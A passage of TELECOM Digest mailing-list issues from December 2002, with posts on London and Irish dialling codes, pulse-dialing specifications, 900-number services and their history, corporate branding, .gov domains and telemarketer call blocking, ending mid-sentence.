From Most of World Date: Wed, 18 Dec 2002 15:44:11 +0000 Organization: Me own Reply-To: cmylod-deleteme@bigfoot.com On Tue, 17 Dec 2002 20:13:49 EST, PaulCoxwell@aol.com wrote: > It does indeed seem that way. Seeing as local calling within London > is now a mandatory 8 digits, it seems strange that so many folks don't > seem to get the point. I can only put it down to the fact that (a) > people are so accustomed to seven-digit numbers in London that they > just can't get used to anything else, and (b) that people were > similarly conditioned into seeing area codes of the form 020x before > the ""big change"" and that 020 therefore looks strange to them. Yes, the mindset is that people once read out ""oh two oh two"" which became ""oh-one pause two oh two"" and the format of 01xyz became embedded. The publicity for London etc going to 8 digits involved a lot of arty balloons flying around in a good example of adman showing off to fellow admen and not to the great public. [...] > Does anyone have the date for the implementation of 1800 (and 1850) in > Ireland? 1992 onwards. First in 1990 there came premium numbers which were charged at GB rates, using the 030 code which was used to reach GB but stuffing the Irish premiums behind 00 to make 03000. No adult content, a lot of read your palm/Mr Angry/horror-scopes/dial a prayer. Operator codes 18xx and 15xx followed, freefone was 18-00 + 6D, written in US-style ""1 800"" but with a giveaway 6 instead of 7 digits following. We will never outgrow the worldwide impact of Bell's choice of 800 for freefone. Headers spam-proofed. Use cmylod at bigfoot . com ------------------------------ From: Alan Burkitt-Gray Subject: Re: 011+ From NANP vs. 00+ From Most of World Date: Wed, 18 Dec 2002 11:20:01 -0000 Scott D Fybush wrote: ""My wife and I had a very nice lunch there [Ye Old Cheshire Cheese] during our trip!"" It's about 200 yards from my office. I'll be there Thursday lunchtime having a pre-Christmas celebration with a bunch of other telecoms journalists! Alan Burkitt-Gray Editor, Global Telecoms Business Euromoney Institutional Investor plc, Nestor House, Playhouse Yard, London EC4V 5EX, UK tel +44 20 7779 8518 fax +44 20 7779 8492 e-mail aburkitt@euromoneyplc.com www.globaltelecomsbusiness.com ------------------------------ From: John Higdon Subject: Re: Query About Pulse Dialing Organization: Green Hills and Cows Date: Wed, 18 Dec 2002 08:58:50 -0800 In article , Sachin wrote: > I need the some information (spacs) about the pulse dialing option. In > pulse dialing what so PPS rate (Pulses per second) is used in USA? > What is the make break ratio used in the USA? Pulse dialing is officially 10 PPS. Pulse duration is variable from 58 to 67 percent of interval between the starts of successive pulses. Pulse dialing is rarely used in the US. John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 ------------------------------ Reply-To: Tom Schmidt From: Tom Schmidt Subject: Re: Query About Pulse Dialing Date: Wed, 18 Dec 2002 17:13:57 GMT ""Sachin"" wrote in message news:telecom22.194.5@telecom-digest.org: > Hello sir, > I need the some information (spacs) about the pulse dialing option. In > pulse dialing what so PPS rate (Pulses per second) is used in USA? > What is the make break ratio used in the USA? > Thanks in advance. > Regards, > sachin > Mr. Sachin S Kirdat. > Design Engineer[VLSI:Design] > Semiconductor Complex Ltd. Chandigarh. > Phone :(O) 0172_257401/2/3to10 Ext. 422, 522 > (R) 0172_677618 According to my copy of Bell System Pub 61100 dated Jan 1983 Speed 8-11 pps Percent break 58-64% Should check latest specification, but it is unlikely pulse dialing specification has changed dramatically over the years. Values are adjusted depending on values of shunt RC network and on resistance of dialing contact. Given these specification were drawn up in the days of mechanical dials selecting the mid point should be fine. Tom ------------------------------ From: John Higdon Subject: Re: Are All 900 Number Providers Hype Artists? Organization: Green Hills and Cows Date: Tue, 17 Dec 2002 21:48:58 -0800 In article , TELECOM Digest Editor noted in response to John Higdon : > [TELECOM Digest Editor's Note: Would you please provide some contact > names and phone numbers for the people at the IXCs who offer 900 > number service? As the man said in the original message, everyone > *he* has spoken to denies any knowledge of them. How about some > actual contact names and numbers? PAT] OK, I'm going to have to dig into the wayback machine, having not turned up any new 900 service in some time. However, in the meantime, I should point out that it won't be like installing a home phone. First, the service is delivered on T1s or higher capacity digital circuits. You will need a switch that can process the calls. Second, if you order directly from an IXC, you will need to order some minimum amount of service, although the LECs may offer service on a few lines and even deliver it on analog pairs. The downside is that the LEC will only deliver such service in one small area of the LATA. Third, if you get 900 service from an IXC, you will need to negotiate some rather complex billing arrangements from the operating companies in your targeted service area. If none of this sounds cheap ... that's right! John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 [TELECOM Digest Editor's Note: In other words, it may be better/easier/ cheaper/more effecient for the original questioner to go with one of the several 'hype artists' he saw advertised who have *already done the leg work* and after studying their proposals, attempt -- merely attempt, mind you -- to find the one with the least hype, most realistic offer then go with it. I'll bet he thinks he is going to have a ready made cash cow, as would have been the case twenty years ago when the industry was first getting started. PAT] ------------------------------ From: Fritz Whittington Subject: Re: Anti-Spam Countermeasures Date: Wed, 18 Dec 2002 17:20:19 GMT Organization: AT&T Worldnet SELLCOM Tech support wrote: > Chris Kantarjiev posted on that vast internet > thingie: [[[snip]]] > For credit card thingies with the postage paid return envelope just > pack it all back in that (including their original envelope) and put a > priority mail sticker (rolls of which are free from the post office) > on it and drop it into the outgoing mail. > Imagine if everyone did that ... [[[snip]]] Well, I've been doing my part of that! :-) It hasn't stopped, but who knows how much I may have avoided? I think it is important that you use a big red Sharpie or equivalent to scrawl ""Take me off your mailing lists"" on it and put x-x-x-x-x-x's in the signature block. This gives you a valid reason to communicate with them, so they can't accuse you of abusing their business reply frank. And hopefully, it keeps some droid that opens the mail from processing it and sending you the card. I have a friend who maintains you can do them a little more damage by actually accepting their offer, then when you get the credit cards chop them up. But I'd prefer not to get another envelope from them. ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. It is circulated anywhere there is email, in addition to various telecom forums on a variety of networks such as Compuserve and America On Line, and other forums. It is also gatewayed to Usenet where it appears as the moderated newsgroup 'comp.dcom.telecom'. TELECOM Digest is a not-for-profit, mostly non-commercial educational service offered to the Internet by Patrick Townson. All the contents of the Digest are compilation-copyrighted. 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End of TELECOM Digest V22 #195 ****************************** >From editor@telecom-digest.org Wed Dec 18 23:49:31 2002 Received: from localhost (localhost [[UNIX: localhost]]) by massis.lcs.mit.edu (8.11.3nb1/8.11.3) id gBJ4nVl19494; Wed, 18 Dec 2002 23:49:31 -0500 (EST) Date: Wed, 18 Dec 2002 23:49:31 -0500 (EST) From: editor@telecom-digest.org Message-Id: <200212190449.gBJ4nVl19494@massis.lcs.mit.edu> X-Authentication-Warning: massis.lcs.mit.edu: ptownson set sender to editor@telecom-digest.org using -f To: ptownson Approved: patsnewlist Subject: TELECOM Digest V22 #196 TELECOM Digest Wed, 18 Dec 2002 23:50:00 EST Volume 22 : Issue 196 Inside This Issue: Editor: Patrick A. Townson Re: The Farce of National Branding (John Higdon) Re: The Farce of National Branding (Bob Goudreau) Re: The Farce of National Branding (Scott Dorsey) SBC Name was Re: The Farce of National Branding (Gail M. Hall) Re: Query About Pulse Dialing (Ed Ellers) Re: Ten TLD's (Linc Madison) Re: Cell Phone Location (Mike Hartley) Re: MAP (Mobile Application Part) v3 (Chris Fleming) Re: Wireless Carriers Unite With Message: Don't Single Out (John Levine) Re: In a Roundabout Way (Fritz Whittington) A Visual Example of the Decline and Fall of Ma Bell (Randall) Call Blocking Box For All Numbers From a Given Country (William PN Smith) Consumers Finding Ways to Zap Telemarketer Calls (Monty Solomon) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. By using -any name or email address- included herein for -any- reason other than responding to an article herein, you agree to pay a hundred dollars to the recipients of the email. WE DO NOT PERMIT NAME/EMAIL ADDRESS HARVESTING FROM THIS JOURNAL. 'SALTED' EMAIL ADDRESSES APPEAR HEREIN TO VERIFY THIS. YOU GET SUED IN SMALL CLAIMS COURT IF YOU GET CAUGHT SPAMMING OR SENDING VIRUSES. DON'T DO IT. See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- From: John Higdon Subject: Re: National Branding Organization: Green Hills and Cows Date: Wed, 18 Dec 2002 11:43:06 -0800 In article , Joey Lindstrom wrote: > Sure -- once you put up or shut up. I've seen several people here > citing many examples, a lot more than you've cited, so right now it > looks like the ""rule"" is that the opposite assertion is correct. > Anybody can claim ""well, I could name a whole lot more examples"", but > until you actually do, the burden of proof by the defense has been > met. Your case has not been made. I find the defense ""not guilty"" by > reason of lazy prosecution. I'm not in court. There is no potential award here. If you don't see what goes on around you, fine. If you want to live in a dream world, fine. If you want to subscribe to the fiction of national brands, fine. And by the way, I am refering to the US, not Canada. > As for the evidence submitted so far, I think that you're probably > right in that the value of brand names is SOMEWHAT diminished compared > to days gone by (time was, people would stick with a particular brand > name or product come hell or high water, and would drive 30 miles to > get it if their local retailer was out of stock, shunning alternative > products), but the case that ""national branding is a farce"" simply has > not been made, by you or anyone else here. Well, that IS the point I was trying to make, so I'm not sure what more I need to prove. If national brands ""sometimes"" mean something, then the concept is a farce. > [TELECOM Digest Editor's Note: Poor John. Why do so many of you guys > pick on him all the time? He means well. PAT] I run into this all the time. People don't like to really examine their pretty pictures of the world. In article , Barry Margolin wrote: > Of course, when names change every year, it's hard for a brand to have as > much significance as a century-old name like Coca Cola. Thanks for acknowledging that. > But what are the companies supposed to do? They can't predict whether > their name is going to change or not. Well, who changes the names if the companies don't do it themselves? > Should they just give up on branding, on the assumption that the > name will change a year or two later? I have a company. It's name has never changed in seventeen years. Am I just lucky that the Great Cosmic Namechanger hasn't struck me? > And what happens if they end up being one of the lucky ones > with a stable name? They could have been building brand name > recognition all that time, but ended up wasting the opportunity. I guess you're right. You never know when the Great Cosmic Namechanger will strike. > Finally, if your name changes, branding seems like an immensely > sensible thing to do. It's an easy way to get your new name into the > public consciousness, i.e. it's cheap advertising. I wonder what my company name will be when the GCN hits me out of the blue. In article , Ron Chapman wrote: > I won't say it doesn't happen. But you say it ALWAYS happens, and > that virtually NO national branding has any meaning. But I've said > it two or three times, and I'll say it again: you live in your own > little technology world, which has colored your perception of the > REAL world. No, I said right up front that there were exceptions. Nice try at a strawman, but no cigar. > And there you go, yet again going to your technology world to try to > prove a point about the entire world at large. You live in that > little technology world, which operates far, far differently than the > rest of the world. And the technology world, despite what you seem to > think, is a very, very small piece of the world at large. So, if technology is involved it doesn't count? That is an interesting view of the world in itself. > It's up to you, John, if you want to think that the technology world > is a perfectly representative microcosm of the entire world. But > you'd be wrong if you did think that. I never said that the technology world represented anything. But you are attempting to imply that the entire world of technology and its bogus branding is insignificant. Oh, and thank you for expanding your focus from ""telecom"" to ""technology"". Maybe, eventually, you will see the light in the other industries as well. In article , Ron Chapman wrote: > And there you go, yet again going to your technology world to try to > prove a point about the entire world at large. OK. You're shopping for a washer/dryer combination. Do you buy GE or Whirlpool? That's low tech, and a couple of brand names that have been household words for decades. Hate to burst your bubble, but both are produced on the same overseas production line. At least some of them are. You guess which ones. Or how about TV sets? RCA or Emerson? Two fine, American brands ... produced on the same Taiwanese production line. Is it sinking in yet? John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 [TELECOM Digest Editor's Note: Mike Sandman has commented to me a few times that it is getting harder and harder to find technology that is manufactured in the USA. It all seems to come from China, but with many traditional 'American' labels, shapes, sizes. PAT] ------------------------------ Date: Wed, 18 Dec 2002 14:58:35 PST From: Bob Goudreau Reply-To: BobGoudreau@nc.rr.com Subject: Re: The Farce of National Branding John Higdon noted: > There are many more examples than telecom in the world of meaningless > branding. Since I began with the naming of sports facilities, I'll > mention this: the San Jose Arena (home of the Sharks hockey team) sold > its name to Compaq. It is now called the ""HP Pavillion"" under the same > contract. > Yet another example of a meaningless brand name. The great irony of this particular example is that the corporate change unintentionally ended up making the arena name far *more* meaningful than it was before! Think about why San Jose became a big enough urban area to have an NHL team in the first place: Silicon Valley. And what is the company commonly considered to be the first great fruit (technological fruit, not citrus) of Silicon Valley? Hewlett-Packard, founded in that famous garage about 60 years ago, and still locally headquartered. Thus, when HP bought Compaq and redubbed the arena the ""HP Pavilion"", it gave it a name directly associated with one of the flagship companies of the local area, in contrast to the old name which honored a young company headquartered many hundreds of miles away in Texas. Normally, companies buy the naming rights of local sports venues precisely because they are local (e.g., the Fleet Center and Gillette Stadium in the Boston area). HP ended up with the same result, but by a far more circuitous path. (Well, neither of the Boston examples is totally direct either. The Fleet Center was originally saupposed to be called the ""Shawmut Center"", after a Boston-based bank, but mergers before it opened meant that the owning bank became ""FleetBoston"" instead. Gillette Stadium is a slightly different story; while under construction, it was going to be called ""CMGi Field"", but then the dot-com bubble burst and Boston-based Gillette stepped in to buy the naming rights.) Now, in my neck of the woods, we do indeed have an NHL arena whose name has very little local significance. This year, after finally resolving disputes among various levels of government and NC State University, the naming rights for Raleigh's still-newish ""Entertainment and Sports Arena"" (home of the NHL's Carolina Hurricanes as well as of NC State basketball) finally went on the block. It is now called the ""RBC Center"", where the ""RBC"" stands ultimately for ""Royal Bank of Canada"". That's right, an arena in North Carolina is named for a Canadian bank! The actual rationale is that RBC got into the US banking market a couple of years ago by purchasing a small NC-based bank called Centura (which is now rebranded as ""RBC Centura""). But maybe the real reason is that RBC decided ""if you can't beat 'em, join 'em"", after watching the 'Canes eliminate both of Canada's flagship hockey teams (Montreal Canadiens and Toronto Maple Leafs) during last spring's Stanley Cup playoffs! :-) Bob Goudreau Cary, NC ------------------------------ From: kludge@panix.com (Scott Dorsey) Subject: Re: The Farce of National Branding Date: 18 Dec 2002 20:57:21 -0500 Organization: Former users of Netcom shell (1989-2000) jbl wrote: > I understand that Coke bottled in Hawaii tastes different too, because > it's sweetened with sugar instead of corn syrup. Used to be the case for Coke in Louisiana and Hawaii. It's no longer the case in Hawaii, I don't think, since the sugarcane industry in Hawaii went bust. No more cane fires, no more C&H trucks blocking Kam Highway. Dunno about Louisiana. scott ""C'est un Nagra. C'est suisse, et tres, tres precis."" ------------------------------ From: Gail M. Hall Subject: SBC Name - was Re: The Farce of National Branding Date: Wed, 18 Dec 2002 15:16:55 -0500 Reply-To: gmhall@apk.net On Sat, 14 Dec 2002 04:12:56 -0500, in comp.dcom.telecom message , I wrote: > As I see the ""SBC"" getting bigger on their bills and envelopes > compared to the word ""Ameritech,"" I am pretty sure that day is > coming. > BUT until they tell us to make the checks out to ""SBC"" instead of > ""Ameritech,"" they will be ""Ameritech"" to me. Today I got my phone bill, and it is now official. It says to make checks out to ""SBC"" and a message on the outside of the envelope says, ""SBC Ameritech(TM) will now be simply SBC ""Evolving to better suit your needs"" Good-bye ""Ameritech""! I thought that was a Good Name! It had a message in it that says ""technology for America"" -- not just a local telephone company. Alas, I guess they couldn't live up to such high hopes. Will SBC be able to live up to OUR hopes? Time will tell. Gail in Ohio USA ------------------------------ From: Ed Ellers Subject: Re: Query About Pulse Dialing Date: Wed, 18 Dec 2002 17:46:58 -0500 John Higdon wrote: > Pulse dialing is rarely used in the US. More often than you might think ... especially by people who *do* have Touch-Tone provisioned on their line but don't realize that they need to change a switch setting on their phone to use it. ------------------------------ From: Linc Madison Subject: Re: Ten TLD's Date: Wed, 18 Dec 2002 14:53:37 -0800 Organization: LincMad.com Consulting Reply-To: Telecom@LincMad.com In article , H. Peter Anvin wrote: >> State of North Carolina changed its web site from: >> http://www.state.nc.us/ to http://www.ncgov.com/ > California is using ca.gov which, given that .gov is a TLD instead of > being under .us like it really ought to kind of makes a lot more > sense than state.ca.us (which forwards to ca.gov). I poked around in the name servers for .gov and found at least a dozen states, plus a few cities and counties in the US, as well as a few multi-state agencies (PANYNJ, for example). A few examples: ohio.gov alaska.gov hawaii.gov tennessee.gov wa.gov (State of Washington) or.gov (Oregon) az.gov (Arizona) maricopa.gov (Maricopa County, as in Phoenix AZ) phoenix.gov (the city, too) sandiego.gov sanantonio.gov panynj.gov (Port Authority of New York and New Jersey) tva.gov (Tennessee Valley Authority) Note that ""va.gov"" is the Veterans Administration, not Virginia. I didn't check to see that all of the above are in actual use. www dot LincMad dot com / Telecom at LincMad dot com Linc Madison * San Francisco, California ------------------------------ From: Subject: Re: Cell Phone Location Date: Wed, 18 Dec 2002 8:40:37 +0000 David Harmon said: > Cell phone networks are being upgraded to enable a given >phone to > be location to be tracked for 911 purposes etc. Will that mean that > someone can determine >which phone spends a lot of time in a > particular location, >therefore negating the anonymity of the > prepaid phone? ISTR that the 911 locating feature is only activated when the user dials 911 -- if it's not there's a big privacy problem on the left bank of the pond;+) Seriously though you don't need 911 to datamine location information -- existing call records are enough for low resolution /high volume mapping and other methods can be used for high(er) resolution/low volume tracking. Having said that, if you're using a prepaid phone which hasn't been registered in your name 'they' might be able to track you but 'they' will still need to relate the phone to a person, which isn't easy (most of the time). Season's greetings! Mike ------------------------------ From: Chris Fleming Subject: Re: MAP (Mobile Application Part) v3 Date: Wed, 18 Dec 2002 12:25:42 +0000 Organization: Agilent Technologies M Pires wrote: > I couldn't find any info related with this on any of the FAQs so if I > am repeating something please apologize and kindly redirect me to the > appropriate site. > My question is related to the Mobile Application Part, application > context 3. What I want to know is, what advantages are there in > migrating to MAP v3? Does it have anything to do with GPRS? Does GPRS > need MAP v3? What new functionalities are available with MAP v3?? I'm certainly not an expert on this stuff, however the way I understand it is that MAP version 3 covers the requirements for 3G phone networks. I'm not exactly what new features it will add. GPRS is supported by Application Context 2. Cheers, Chris Fleming ------------------------------ Date: 18 Dec 2002 10:12:25 -0500 From: johnl@iecc.com (John R. Levine) Subject: Re: Wireless Carriers Unite With Message: Don't Single Out Organization: I.E.C.C., Trumansburg NY USA > What about long-distance bills ? Say you're in southern Florida, > and you call another number ""in the same area code"". When you get > your monthly phone bill, you find a line item for a 30-minute, prime > time, call to Hawaii or Alaska. Oops. With my long distance service, a call from Miami to Key West costs 10.6 cents/minute, while a call from Miami to Honolulu or Prudhoe Bay costs 4.9 cents/minute. What problem do you see here, other than confusion when the party you think is in Key West keeps mentioning polar bears? I suppose that if you were calling one of the overpriced Caribbean islands it could be an issue, but we've been through that discussion before, and in any event, I don't know of any dialing plan in the US that distinguishes among different non-local area codes. John R. Levine, IECC, POB 727, Trumansburg NY 14886 +1 607 387 6869 johnl@iecc.com Village Trustee and Sewer Commissioner http://iecc.com/johnl Member, Provisional board, Coalition Against Unsolicited Commercial E-mail ------------------------------ From: Fritz Whittington Subject: Re: In a Roundabout Way Date: Wed, 18 Dec 2002 17:32:24 GMT Organization: AT&T Worldnet Bob Goudreau wrote: >> What no one has mentioned in discussing the comparative mertits of >> roundabouts versus stop-lights is the adaptive nature of the former >> over the latter. When traffic is light (the majority of time) >> roundabouts are superior. > Yes, but scaling in the other direction tips the advantage the other > way, in favor of signalized intersections. [[[snip]]] For a lot of places in the US, the problem is in your premise: ""When traffic is light (the majority of time)"" just isn't true! I have noticed that in Washington DC (which has a LOT of traffic circles) they have solved the problem by simply adding traffic lights at the entrances. Betwen 2:00 and 4:00 am, when the traffic actually does lighten up, they turn the lights to flashing yellow (caution) and it functions as a normal roundabout. ------------------------------ From: Randall Subject: A Visual Example of the Decline and Fall of Ma Bell Date: Wed, 18 Dec 2002 14:55:29 -0500 Please - no credit to me. This is Dave Farber's work (yes, THAT Dr. Dave Farber, of UPenn, who with Vint Cerf really DID create the Internet ...) ---------- Forwarded Message ---------- Subject: [IP] a visual example o the decline and fall of Ma Bell Date: Wed, 18 Dec 2002 13:23:56 -0500 From: Dave Farber To: ip I took these pictures right next to the Verizon building in downtown Pittsburgh. The plaque was on a seedy dirty abandoned set of stores next to the Verizon Building. For those who don't know about the Pioneers -- they were long time Bell system employees who took pride in their careers and their community and did many many charitable deeds. http://homepage.mac.com/davidfarber/PhotoAlbum9.html dave ------------------------------ From: William PN Smith Subject: Call Blocking Box For All Numbers From a Given Country? Date: Wed, 18 Dec 2002 15:16:18 -0500 Organization: ComputerSmiths Consulting, Inc. Does anyone make a box that will watch the CID and (based on the first N digits presented) disconnect (or pick up and drop?) the call instead of answering it? I'd like to be able to drop all calls from a given country ... Thanks! William Smith wpns@compusmiths.com N1JBJ@amsat.org ComputerSmiths Consulting, Inc. www.compusmiths.com ------------------------------ Date: Wed, 18 Dec 2002 23:00:03 -0500 From: Monty Solomon Subject: Consumers Finding Ways to Zap Telemarketer Calls By JOHN SCHWARTZ In their continuing struggle against telemarketers, consumers are powerless no more. Telemarketers who call the home of Tono Kessler in Perkasie, Pa., are likely to hear this recorded message: ""The number you are calling has Call Intercept, a service that requires callers whose telephone number does not appear on the Caller ID display to identify themselves before the call can continue."" Few telemarketers take the trouble. Like a growing number of Americans, Mr. Kessler subscribes to an automated service from his telephone company that blocks most unwanted calls. ""I would estimate that 98 percent of the calls have stopped,"" he said. Today, the Federal Trade Commission is expected to announce plans for a nationwide do-not-call list. Consumers have already signed up by the millions for the growing number of statewide do-not-call lists in more than half the states. And they are also turning to gadgets with names like Telezapper, and to services like Call Intercept (in effect, paying the phone company to help them cope with a nuisance brought to them, yes, through the phone company). At the same time, telemarketers continue to come up with ways to circumvent those protective measures -- for example, sending a dummy telephone number with their calls so that services like the one Mr. Kessler uses will not block the call automatically. ""It's an arms race,"" said Anne Kraus-Keenan, the manager at Verizon Communications for the service that Mr. Kessler uses. According to the Direct Marketing Association, telemarketers make 104 million calls a day to businesses and consumers in the United States. And although people say they hate the calls, somebody out there is buying. The industry reported revenue from consumers of $295.3 billion last year. http://www.nytimes.com/2002/12/18/technology/18TELE.html [TELECOM Digest Editor's Note: Another common technique is to record a name such as 'this is not a telemarketing call'. I get those now and then. I am sure telco, even with their miserable failures in this area are trying to help protect their customers a little. PAT] ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. It is circulated anywhere there is email, in addition to various telecom forums on a variety of networks such as Compuserve and America On Line, and other forums. It is also gatewayed to Usenet where it appears as the moderated newsgroup 'comp.dcom.telecom'. TELECOM Digest is a not-for-profit, mostly non-commercial educational service offered to the Internet by Patrick Townson. All the contents of the Digest are compilation-copyrighted. You may reprint articles in some other media on an occasional basis, but please attribute my work and that of the original author. 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All opinions expressed herein are deemed to be those of the author. Any organizations listed are for identification purposes only and messages should not be considered any official expression by the organization. End of TELECOM Digest V22 #196 ****************************** >From editor@telecom-digest.org Thu Dec 19 01:01:32 2002 Received: from localhost (localhost [[UNIX: localhost]]) by massis.lcs.mit.edu (8.11.3nb1/8.11.3) id gBJ61W621237; Thu, 19 Dec 2002 01:01:32 -0500 (EST) Date: Thu, 19 Dec 2002 01:01:32 -0500 (EST) From: editor@telecom-digest.org Message-Id: <200212190601.gBJ61W621237@massis.lcs.mit.edu> X-Authentication-Warning: massis.lcs.mit.edu: ptownson set sender to editor@telecom-digest.org using -f To: ptownson Approved: patsnewlist Subject: TELECOM Digest V22 #197 TELECOM Digest Thu, 19 Dec 2002 01:02:00 EST Volume 22 : Issue 197 Inside This Issue: Editor: Patrick A. Townson History of SAC 900 (Mark J Cuccia) Ground-Start Lines (was Coin Collect and Return) (Neal McLain) Web Searches Take Cultural Pulse (Monty Solomon) Security Paper: Session Fixation Vulnerability Web-based (Monty Solomon) Web Calling Roils the Telecom World (Monty Solomon) Computer Programmer Faces US Fraud Charge in Virus Attack (Monty Solomon) Apple Strikes Major Blow in Streaming Media Market (Monty Solomon) Time For Everyone to Get Serious About Firewalls (Monty Solomon) Perspective: Tech's Answer to Big Brother (Monty Solomon) Verdict Seen As Blow to DMCA (Monty Solomon) ElcomSoft Analysis (Monty Solomon) Re: ElcomSoft (as in ""Dmitry"") Cleared in the DMCA Case (John Higdon) New Web Link of Interest (Bruce Galle) Re: MCI Once Again Ripping Off Customers (Henry Cabot Henhouse III) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. 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See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- Date: Wed, 18 Dec 2002 16:43:40 CST From: Mark J Cuccia Subject: History of SAC 900 In ""Re: Are All 900 Number Providers Hype Artists?"", PAT added to John Higdon's reply post: > I'll bet he thinks he is going to have a ready made cash cow, as > would have been the case twenty years ago when the industry was > first getting started. Actually, I think that it was AFTER divestiture, sometime in the later 1980's, after there were competitive 900 ""service"" providers, that the sleaze aspect began, with ""questionable"" content and ""services""(?) provided on 900, as well as exhorbitant rates along with revenue sharing between the LD-carrier/Telcos, provider of the ""content"", and NUMEROUS possible ""middlemen"". The 900 Special Area Code began in the US and (eastern) Canada (i.e., Bell Canada territory), circa 1972/73, STRICTLY as a ""choke"" area code for ""mass calling"" purposes. Those major destination cities throughout the US and (eastern) Canada had a 900-NNX code (or two/more codes) assigned for receiving ""high-volume"" traffic. (The 900 code was actually ""assigned"" or ""reserved"" circa 1969/70, but the implementation of the ""choke"" network didn't actually begin until 1972/73) It was intended for high-volume calling to specific nationally advertised numbers, such as telethon pledge lines (NOT automated charging of the pledge, but rather to reach a live person who would take down the details of how to 'bill' the pledge), or other such national (in scope) radio/TV call-in numbers. It could also have possibly intended for nationally utilized high-volume calls to time/temperature/weather services too. ""Choke"" network means that there are only so many trunks to the first toll switch that actually translates and routes out the dialed 900-NNX-xxxx call. Thus, the toll network only handled a limited number of attempts to such ""high-volume"" 900 numbers. The limited number to trunks to the first toll network switch would ""choke off"" various attempts above whatever the threshold was. This way, the toll network ""itself"" wouldn't become overloaded with thousands upon thousands of call attempts, which could have ""brought down"" the network, or at least caused busy conditions for ""normal"" long-haul traffic being placed at the same time. 1970's-era 900 Calls were billed at REGULARLY TARIFFED ""POTS"" rates, the destination 900-NNX code being assigned to a specific geographic destination ratecenter with published V&H co-ordinates, w/r/t the V&H/ratecenter of the calling party. Thus, a call from New Orleans to a 900-NNX code associated with New York City would have been billed the exact same rate as a call to POTS NPA 212, for that same time-of-day / day-of-week, and other identical line-classes. It was possible for the called party to have their 900 number be made ""free"". This was the case in 1977, when (then) President Jimmy Carter and the CBS Radio Network had a special broadcast of impromptu ""call-ins"" to the Carter at the White House. CBS Newsman Walter Cronkite moderated that 3-hour Saturday afternoon radio broadcast live from the White House. The call-in number was made to be ""reverse-charged"", billed to either the Executive Office, or maybe billed to the Columbia Broadcasting System, and was also FREE from payphones on that Saturday afternoon. However, one did first route to the OPERATOR when calling from a payphone, who then put the call through at no charge. That number was 900-242-1611 ; Many people who weren't aware that this was a TEN-digit number were simply trying to dial just the seven-digit part, 242-1611, and reaching a working number in whatever area codes had a valid 242 office code along with assigned -1611 line number. (I also wonder how many states/provinces had active/assigned intra-state/province-only 800-242-1611 numbers at that time, because I would assume that some people tried dialing *800* instead of the correct AND PROPERLY ADVERTISED *900* code; Of course, the ""event"" was on a Saturday afternoon, and many businesses who might happened to have had an 800-242-1611 intrastate-only toll-free number -- might have been closed for the weekend; Back in the ""old days"" of 800 in the 1966-82 timeframe, all sixty-four 800-NN2 office codes were for in-TRA-state/province ONLY numbers, and all sixty-four codes were actually *re-usable* state-to-state and province-to-province). The AT&T Long Lines (Kansas City MO) Distance Dialing Reference Guide throughoute the 1970's listed 900-242 as being Washington DC as the locality/ratecenter, along with Washington DC's V&H co-ordinates, the ""Chesapeake & Potomoc Telephone of Washington DC"" as the associated ""business office"" for 900-242, and '202+' as the Operator's Routing Code for 900-242; 202 being the POTS area code for DC, and '202+1X1' being what an originating operator might need to dial to reach Inward (121) or Directory (131) or Rate/Route (141) in DC. While there were numerous listed destination cities in the US and (eastern) Canada with 900-NNX codes which had or were INTENDED to have customers with high-volume incoming calls/lines, there apparantly weren't all that many customers within each city. While I was aware of the assignment of the 900 SAC since the mid-1970's, listed in telco documentation as ""mass calling"", it wasn't until the CBS Radio special live call-in to President Carter in Spring 1977 when I first actually KNEW of any REAL USE of 900. By 1980, since there were more #4ESS toll switches in the network which since 1976 began replacing older #4-A/M Crossbar toll switches and Crossbar-Tandem switches, and also CCIS (#6) signaling replacing older inband MF signaling, the use of 900 for ""choke"" routing became unnecessary. Regular ""POTS"" numbering could now be possible for calling such high-volume numbers, within the toll network, and the now more advanced (Stored Program Control) toll network with many more 4ESS switches and CCIS signaling was able to handle such traffic, or at least be able to ""choke"" it itself, without there having to be dedicated numbering/codes. But AT&T didn't just ""discontinue"" all use of Special Area Code 900. It was still to be used for ""media stimulated"" calling or a ""Mass Announcement System"", but one where the 900-NXX codes didn't have to be geographically based. Instead, one could call into special nationwide ""information"" services, jointly produced by AT&T and some private ""information"" company. These ""information"" services would be sports scores, stock market quotes, news, weather, time/temperature services, etc. but all available and intended for a full ""national"" audience. 900 could also be used for ""vote tallying"" on a ""mass calling"" basis, especially with a nationally televised or radio-broadcast ""event"". Or, there could be live ""listen-in"" (only) services, where large numbers of callers could ""dial-it"" to ""listen-in"" to the work of NASA Mission Control in Houston or Florida communicating with the astronauts of the Space Shuttle. The actual marketing name of this ""new"" AT&T service was called ""Dial-IT 900"" (tm). For most of the 1980's, AT&T had *FAR FEWER* 900-NXX codes in use for the 1980-on ""Dial-IT 900"" service than they had 900-NNX codes assigned to specific destination cities on the 900 ""Mass Calling"" service. But ""Dial-IT 900"" became much more visible in the public's mind than the old ""mass calling"" 900 had been. The network operations for ""Dial-IT 900"" was where about seven or eight SELECTED #4ESS toll machines were made to be ""900 MAS hubs"" (MAS being the Mass Announcement System). Something like a live ""listen-in-only"" conference would be fed on DEDICATED trunks to each of the 4ESS offices serving as 900 'MAS' hubs. Or vote tallying would be done at each of the 4ESS toll offices that were 900 'MAS' hubs. Or everyone calling a particular ""sports-line"" would route to their nearest 900 'MAS' hub 4E, and then route over DEDICATED trunks to the facility providing the ""sports-line"". The ""regular"" toll network coast-to-coast wouldn't have been ""overloaded"" because the 'MAS' network itself was a separate dedicated ""sub-network"" of its own. In the vote-tallying situation, every so often, each 900 'MAS' hub 4E would send results over *dedicated* data links to the central facility handling the ""vote"", or else the results could be ""dumped"" when the ""vote"" or ""election"" was officially over. The rates that AT&T was tariffed to charge were somewhat nominal compared to what 900 numbers have cost since the late 1980's! - 900-200 and 900-555 